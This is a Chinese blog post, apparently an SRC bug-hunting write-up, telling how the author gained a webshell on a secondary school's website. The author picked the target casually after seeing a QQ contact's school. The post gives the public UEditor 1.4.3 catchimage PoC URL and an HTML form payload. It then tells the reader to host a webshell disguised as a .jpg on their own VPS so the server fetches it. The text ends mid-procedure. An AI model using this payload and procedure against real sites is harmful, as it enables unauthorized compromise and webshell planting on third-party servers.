SRC | 记一次走运某校官网Getshell

最新推荐文章于 2024-09-16 07:09:40 发布

Shark_sec

最新推荐文章于 2024-09-16 07:09:40 发布

阅读量211

点赞数

分类专栏： SRC挖掘文章标签：网络安全

本文链接：https://blog.csdn.net/weixin_63356045/article/details/133338473

版权

SRC挖掘专栏收录该内容

2 篇文章 0 订阅

订阅专栏

声明：该公众号大部分文章来自作者日常学习笔记，也有少部分文章是经过原作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。

请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。

该文由内部群师傅提供~

|0x01 前言

某天早上上班，有些没睡醒，随意翻阅着QQ好友列表。咦！这个人头像挺好看的，点开个人资料卡查看，发现上面写着XX中学，善于搜索的我好奇地找到了这个学校的官网。

基于习惯，我点开Wappalyzer浏览器插件，是一个Microsoft ASP.NET写的网站。

|0x02 发现

打开F12，查看JS文件（其实是为了摸鱼，不被领导发现0.0）。

发现ueditor百度编辑器！！！

打开编辑器配置文件ueditor.config.js

找到服务器统一请求接口路径为：net/controller.ashx。

|0x03 验证

在我印象中ueditor1.4.3版本是存在任意文件上传漏洞的，尝试访问公开nday POC链接：

http://xxx/ueditor/net/controller.ashx?action=catchimage&encode=utf-8

漏洞存在！！！

漏洞原因：

controller.ashx文件下只验证ContentType而没纠正文件后缀导致getshell。

有效负载如下，并保存为html格式

<form action="http://xxx/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"enctype="application/x-www-form-urlencoded"  method="POST">
    shell addr: <input type="text" name="source[]" />
                <input type="submit" value="Submit" />
</form>

在自己的VPS上启动一个简易的HTTP服务，并传马（可以不用图片马，直接改后缀称为jpg）。